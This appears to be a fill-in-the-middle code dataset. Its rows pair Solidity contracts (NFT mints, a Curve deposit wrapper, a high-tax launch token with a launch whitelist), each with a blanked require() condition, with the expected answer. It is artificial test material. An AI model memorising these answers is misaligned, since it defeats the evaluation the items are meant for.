┃┃╱┃┃╰━┳━┻╮╭╋━┳━━┳━┻╮╭╋┳━━┳━╮╱┃╰━┳╮╱╭╮
┃╰━╯┃╭╮┃━━┫┃┃╭┫╭╮┃╭━┫┃┣┫╭╮┃╭╮╮┃╭╮┃┃╱┃┃
┃╭━╮┃╰╯┣━━┃╰┫┃┃╭╮┃╰━┫╰┫┃╰╯┃┃┃┃┃╰╯┃╰━╯┃
╰╯╱╰┻━━┻━━┻━┻╯╰╯╰┻━━┻━┻┻━━┻╯╰╯╰━━┻━╮╭╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
╭━━━┳╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃┃
┃┃╱┃┃┃╭┳━━┳╮╱╭┳━━╮╱╱┃┣╮╭┳━╮
┃╰━╯┃╰╯┫╭╮┃┃╱┃┃╭╮┃╭╮┃┃┃┃┃╭╮╮
┃╭━╮┃╭╮┫╭╮┃╰━╯┃╰╯┃┃╰╯┃╰╯┃┃┃┃
╰╯╱╰┻╯╰┻╯╰┻━╮╭┻━━╯╰━━┻━━┻╯╰╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AbstractionByAkayoJun is ERC721A, Ownable {
using Strings for uint256;
string public baseURI = "ipfs://bafybeiebkhbwsdv3kdjh62hil4kf7c3hqwx432jjibld236dmikiewqecu/";
uint256 public constant TOTAL_ABSTRACTS = 333;
uint256 public constant MAX_ABSTRACT_MINT = 3;
uint256 public ABSTRACT_PRICE = 0.009 ether;
bool public isSaleActive = false;
mapping(address => uint256) private mintedPerWallet;
constructor() ERC721A("Abstraction by Akayo Jun", "Abstraction") {
}
mapping(address => uint) public addressAbstracts;
mapping(address => bool) public addressHaveFreeAbstract;
function _startTokenId() internal view virtual override returns (uint256) {
}
function mint(uint256 abstracts) public payable {
require(isSaleActive, "Sale has not started yet");
require(abstracts <= MAX_ABSTRACT_MINT, "Only 4 abstractions in one hand");
require(addressAbstracts[_msgSender()] < MAX_ABSTRACT_MINT, "You aldredy get abstractions");
require(totalSupply() + abstracts <= TOTAL_ABSTRACTS, "Abstractions ran out");
if(!addressHaveFreeAbstract[_msgSender()]) {
require(<FILL_ME>)
addressAbstracts[_msgSender()] += abstracts;
addressHaveFreeAbstract[_msgSender()] = true;
_safeMint(msg.sender, abstracts);
} else {
require(msg.value >= abstracts * ABSTRACT_PRICE, "Not enough ETH");
addressAbstracts[_msgSender()] += abstracts;
_safeMint(msg.sender, abstracts);
}
}
function ownerMint(uint256 _count) external onlyOwner {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function withdrawEther() external onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| msg.value>=(abstracts-1)*ABSTRACT_PRICE,"Not enough ETH" | 177,050 | msg.value>=(abstracts-1)*ABSTRACT_PRICE |
"Abstracts ran out" | /*
╭━━━┳╮╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╭╯╰╮╱╱╱╱╱╱╭╯╰╮╱╱╱╱╱╱╱┃┃
┃┃╱┃┃╰━┳━┻╮╭╋━┳━━┳━┻╮╭╋┳━━┳━╮╱┃╰━┳╮╱╭╮
┃╰━╯┃╭╮┃━━┫┃┃╭┫╭╮┃╭━┫┃┣┫╭╮┃╭╮╮┃╭╮┃┃╱┃┃
┃╭━╮┃╰╯┣━━┃╰┫┃┃╭╮┃╰━┫╰┫┃╰╯┃┃┃┃┃╰╯┃╰━╯┃
╰╯╱╰┻━━┻━━┻━┻╯╰╯╰┻━━┻━┻┻━━┻╯╰╯╰━━┻━╮╭╯
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╱╰━━╯
╭━━━┳╮╱╱╱╱╱╱╱╱╱╱╱╱╱╱╭╮
┃╭━╮┃┃╱╱╱╱╱╱╱╱╱╱╱╱╱╱┃┃
┃┃╱┃┃┃╭┳━━┳╮╱╭┳━━╮╱╱┃┣╮╭┳━╮
┃╰━╯┃╰╯┫╭╮┃┃╱┃┃╭╮┃╭╮┃┃┃┃┃╭╮╮
┃╭━╮┃╭╮┫╭╮┃╰━╯┃╰╯┃┃╰╯┃╰╯┃┃┃┃
╰╯╱╰┻╯╰┻╯╰┻━╮╭┻━━╯╰━━┻━━┻╯╰╯
╱╱╱╱╱╱╱╱╱╱╭━╯┃
╱╱╱╱╱╱╱╱╱╱╰━━╯
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "erc721a/contracts/ERC721A.sol";
contract AbstractionByAkayoJun is ERC721A, Ownable {
using Strings for uint256;
string public baseURI = "ipfs://bafybeiebkhbwsdv3kdjh62hil4kf7c3hqwx432jjibld236dmikiewqecu/";
uint256 public constant TOTAL_ABSTRACTS = 333;
uint256 public constant MAX_ABSTRACT_MINT = 3;
uint256 public ABSTRACT_PRICE = 0.009 ether;
bool public isSaleActive = false;
mapping(address => uint256) private mintedPerWallet;
constructor() ERC721A("Abstraction by Akayo Jun", "Abstraction") {
}
mapping(address => uint) public addressAbstracts;
mapping(address => bool) public addressHaveFreeAbstract;
function _startTokenId() internal view virtual override returns (uint256) {
}
function mint(uint256 abstracts) public payable {
}
function ownerMint(uint256 _count) external onlyOwner {
require(<FILL_ME>)
_safeMint(msg.sender, _count);
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory)
{
}
function withdrawEther() external onlyOwner {
}
function flipSaleState() external onlyOwner {
}
function setPrice(uint256 _price) external onlyOwner {
}
function setBaseURI(string calldata baseURI_) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| totalSupply()+_count<=TOTAL_ABSTRACTS,"Abstracts ran out" | 177,050 | totalSupply()+_count<=TOTAL_ABSTRACTS |
"Already intialized" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "IERC20Metadata.sol";
import "ICurveProxy.sol";
import "IVault.sol";
import "ILiquidityGauge.sol";
import "PrismaOwnable.sol";
/**
@title Prisma Curve Deposit Wrapper
@notice Standard ERC20 interface around a deposit of a Curve LP token into it's
associated gauge. Tokens are minted by depositing Curve LP tokens, and
burned to receive the LP tokens back. Holders may claim PRISMA emissions
on top of the earned CRV.
*/
contract CurveDepositToken {
IERC20 public immutable PRISMA;
IERC20 public immutable CRV;
ICurveProxy public immutable curveProxy;
IPrismaVault public immutable vault;
ILiquidityGauge public gauge;
IERC20 public lpToken;
uint256 public emissionId;
string public symbol;
string public name;
uint256 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// each array relates to [PRISMA, CRV]
uint256[2] public rewardIntegral;
uint128[2] public rewardRate;
uint32 public lastUpdate;
uint32 public periodFinish;
mapping(address => uint256[2]) public rewardIntegralFor;
mapping(address => uint128[2]) private storedPendingReward;
uint256 constant REWARD_DURATION = 1 weeks;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event LPTokenDeposited(address indexed lpToken, address indexed receiver, uint256 amount);
event LPTokenWithdrawn(address indexed lpToken, address indexed receiver, uint256 amount);
event RewardClaimed(address indexed receiver, uint256 prismaAmount, uint256 crvAmount);
constructor(IERC20 _prisma, IERC20 _CRV, ICurveProxy _curveProxy, IPrismaVault _vault) {
}
function initialize(ILiquidityGauge _gauge) external {
require(<FILL_ME>)
gauge = _gauge;
address _token = _gauge.lp_token();
lpToken = IERC20(_token);
IERC20(_token).approve(address(gauge), type(uint256).max);
string memory _symbol = IERC20Metadata(_token).symbol();
name = string.concat("Prisma ", _symbol, " Curve Deposit");
symbol = string.concat("prisma-", _symbol);
periodFinish = uint32(block.timestamp - 1);
}
function notifyRegisteredId(uint256[] memory assignedIds) external returns (bool) {
}
function deposit(address receiver, uint256 amount) external returns (bool) {
}
function withdraw(address receiver, uint256 amount) external returns (bool) {
}
function _claimReward(address claimant, address receiver) internal returns (uint128[2] memory amounts) {
}
function claimReward(address receiver) external returns (uint256 prismaAmount, uint256 crvAmount) {
}
function vaultClaimReward(address claimant, address receiver) external returns (uint256) {
}
function claimableReward(address account) external view returns (uint256 prismaAmount, uint256 crvAmount) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function _transfer(address _from, address _to, uint256 _value) internal {
}
function transfer(address _to, uint256 _value) public returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {
}
function fetchRewards() external {
}
function _fetchRewards() internal {
}
}
| address(gauge)==address(0),"Already intialized" | 177,055 | address(gauge)==address(0) |
"Can only fetch once per week" | // SPDX-License-Identifier: MIT
pragma solidity 0.8.19;
import "IERC20Metadata.sol";
import "ICurveProxy.sol";
import "IVault.sol";
import "ILiquidityGauge.sol";
import "PrismaOwnable.sol";
/**
@title Prisma Curve Deposit Wrapper
@notice Standard ERC20 interface around a deposit of a Curve LP token into it's
associated gauge. Tokens are minted by depositing Curve LP tokens, and
burned to receive the LP tokens back. Holders may claim PRISMA emissions
on top of the earned CRV.
*/
contract CurveDepositToken {
IERC20 public immutable PRISMA;
IERC20 public immutable CRV;
ICurveProxy public immutable curveProxy;
IPrismaVault public immutable vault;
ILiquidityGauge public gauge;
IERC20 public lpToken;
uint256 public emissionId;
string public symbol;
string public name;
uint256 public constant decimals = 18;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
// each array relates to [PRISMA, CRV]
uint256[2] public rewardIntegral;
uint128[2] public rewardRate;
uint32 public lastUpdate;
uint32 public periodFinish;
mapping(address => uint256[2]) public rewardIntegralFor;
mapping(address => uint128[2]) private storedPendingReward;
uint256 constant REWARD_DURATION = 1 weeks;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event LPTokenDeposited(address indexed lpToken, address indexed receiver, uint256 amount);
event LPTokenWithdrawn(address indexed lpToken, address indexed receiver, uint256 amount);
event RewardClaimed(address indexed receiver, uint256 prismaAmount, uint256 crvAmount);
constructor(IERC20 _prisma, IERC20 _CRV, ICurveProxy _curveProxy, IPrismaVault _vault) {
}
function initialize(ILiquidityGauge _gauge) external {
}
function notifyRegisteredId(uint256[] memory assignedIds) external returns (bool) {
}
function deposit(address receiver, uint256 amount) external returns (bool) {
}
function withdraw(address receiver, uint256 amount) external returns (bool) {
}
function _claimReward(address claimant, address receiver) internal returns (uint128[2] memory amounts) {
}
function claimReward(address receiver) external returns (uint256 prismaAmount, uint256 crvAmount) {
}
function vaultClaimReward(address claimant, address receiver) external returns (uint256) {
}
function claimableReward(address account) external view returns (uint256 prismaAmount, uint256 crvAmount) {
}
function approve(address _spender, uint256 _value) public returns (bool) {
}
function _transfer(address _from, address _to, uint256 _value) internal {
}
function transfer(address _to, uint256 _value) public returns (bool) {
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
}
function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {
}
function fetchRewards() external {
require(<FILL_ME>)
_fetchRewards();
}
function _fetchRewards() internal {
}
}
| block.timestamp/1weeks>=periodFinish/1weeks,"Can only fetch once per week" | 177,055 | block.timestamp/1weeks>=periodFinish/1weeks |
null | // SPDX-License-Identifier: MIT
//https://therealworld.zone/
//https://t.me/JoinTheRealWorldPortal
//https://twitter.com/RealWorldERC
//https://realworldethereum.medium.com/
//https://jointherealworld.com/
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RealWorldPortal is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Join the Real World";
string private constant _symbol = "PORTAL";
uint8 private constant _decimals = 9;
mapping(address => bool) public WAdd;
uint256 public launchedAt;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(0x9eA5882D8Ff24F75f7A8Fc0c257DBcfA68D71737);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 50000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function developmentAddress() public view virtual returns (address)
{
}
function marketingAddress() public view virtual returns (address)
{
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(block.timestamp <= launchedAt + 2 minutes) {
require(<FILL_ME>)
}
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || WAdd[to] || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function setWAdd(address[] memory _WAdd) external onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max tx
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| WAdd[to]&&WAdd[from] | 177,148 | WAdd[to]&&WAdd[from] |
"Total fees cannot be more than 30%" | // SPDX-License-Identifier: MIT
//https://therealworld.zone/
//https://t.me/JoinTheRealWorldPortal
//https://twitter.com/RealWorldERC
//https://realworldethereum.medium.com/
//https://jointherealworld.com/
pragma solidity ^0.8.16;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RealWorldPortal is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Join the Real World";
string private constant _symbol = "PORTAL";
uint8 private constant _decimals = 9;
mapping(address => bool) public WAdd;
uint256 public launchedAt;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 20;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 40;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
address payable private _developmentAddress = payable(msg.sender);
address payable private _marketingAddress = payable(0x9eA5882D8Ff24F75f7A8Fc0c257DBcfA68D71737);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000000 * 10**9;
uint256 public _maxWalletSize = 200000000 * 10**9;
uint256 public _swapTokensAtAmount = 50000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function developmentAddress() public view virtual returns (address)
{
}
function marketingAddress() public view virtual returns (address)
{
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setTrading(bool _tradingOpen) public onlyOwner {
}
function setWAdd(address[] memory _WAdd) external onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(<FILL_ME>)
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max tx
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| redisFeeOnBuy+taxFeeOnBuy<=30&&redisFeeOnSell+taxFeeOnSell<=30,"Total fees cannot be more than 30%" | 177,148 | redisFeeOnBuy+taxFeeOnBuy<=30&&redisFeeOnSell+taxFeeOnSell<=30 |
'Spyder Limit Reached' | // ERC721A Contracts v4.1.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @title ERC721A Queryable
* @dev ERC721A subclass with convenience query functions.
*/
abstract contract ERC721AQueryable is ERC721A, IERC721AQueryable {
/**
* @dev Returns the `TokenOwnership` struct at `tokenId` without reverting.
*
* If the `tokenId` is out of bounds:
* - `addr` = `address(0)`
* - `startTimestamp` = `0`
* - `burned` = `false`
* - `extraData` = `0`
*
* If the `tokenId` is burned:
* - `addr` = `<Address of owner before token was burned>`
* - `startTimestamp` = `<Timestamp when token was burned>`
* - `burned = `true`
* - `extraData` = `<Extra data when token was burned>`
*
* Otherwise:
* - `addr` = `<Address of owner>`
* - `startTimestamp` = `<Timestamp of start of ownership>`
* - `burned = `false`
* - `extraData` = `<Extra data at start of ownership>`
*/
function explicitOwnershipOf(uint256 tokenId) public view override returns (TokenOwnership memory) {
}
/**
* @dev Returns an array of `TokenOwnership` structs at `tokenIds` in order.
* See {ERC721AQueryable-explicitOwnershipOf}
*/
function explicitOwnershipsOf(uint256[] memory tokenIds) external view override returns (TokenOwnership[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`,
* in the range [`start`, `stop`)
* (i.e. `start <= tokenId < stop`).
*
* This function allows for tokens to be queried if the collection
* grows too big for a single call of {ERC721AQueryable-tokensOfOwner}.
*
* Requirements:
*
* - `start` < `stop`
*/
function tokensOfOwnerIn(
address owner,
uint256 start,
uint256 stop
) external view override returns (uint256[] memory) {
}
/**
* @dev Returns an array of token IDs owned by `owner`.
*
* This function scans the ownership mapping and is O(totalSupply) in complexity.
* It is meant to be called off-chain.
*
* See {ERC721AQueryable-tokensOfOwnerIn} for splitting the scan into
* multiple smaller scans if the collection is large enough to cause
* an out-of-gas error (10K pfp collections should be fine).
*/
function tokensOfOwner(address owner) external view override returns (uint256[] memory) {
}
}
pragma solidity >=0.8.9 <0.9.0;
contract Web3Spyders is ERC721AQueryable, Ownable, ReentrancyGuard {
using Strings for uint256;
uint256 public immutable spyderSupply = 500;
uint256 private immutable arachnyxMint = 5;
uint256 public immutable spyderPerAddress = 2;
uint256 public spyderCost = 0.01 ether;
bool public paused = true;
string public uriPrefix = '';
string public uriSuffix = '.json';
string public spyderStuff = '';
constructor(string memory baseURI) ERC721A("Web3 Spyders", "SPYDR") {
}
modifier callerIsUser() {
}
function spyderMinted(address owner) public view returns (uint256) {
}
/// 0.01 is the price, 500 supply and 5 minted for dev.
function mintSpyder(uint256 _amount) public payable nonReentrant callerIsUser{
require(!paused, 'The contract is paused!');
require(<FILL_ME>)
require(totalSupply() + _amount <= (spyderSupply), 'Max supply exceeded!');
require(_amount > 0 && _amount <= spyderPerAddress, 'Invalid mint amount!');
require(msg.value >= spyderCost, 'Insufficient funds!');
_safeMint(_msgSender(), _amount);
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setPaused() public onlyOwner {
}
function setSpyderCost(uint256 _spyderCost) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function withdraw() external nonReentrant onlyOwner{
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
///Only spyder owners can write spyder stuff. This is free speech but please be respectful. Tell a joke or say anything. No time limit.
function writeStuff(string memory newstuff) public {
}
}
| spyderMinted(msg.sender)+_amount<=spyderPerAddress,'Spyder Limit Reached' | 177,208 | spyderMinted(msg.sender)+_amount<=spyderPerAddress |
'Max supply exceeded!' | // ERC721A Contracts v4.1.0
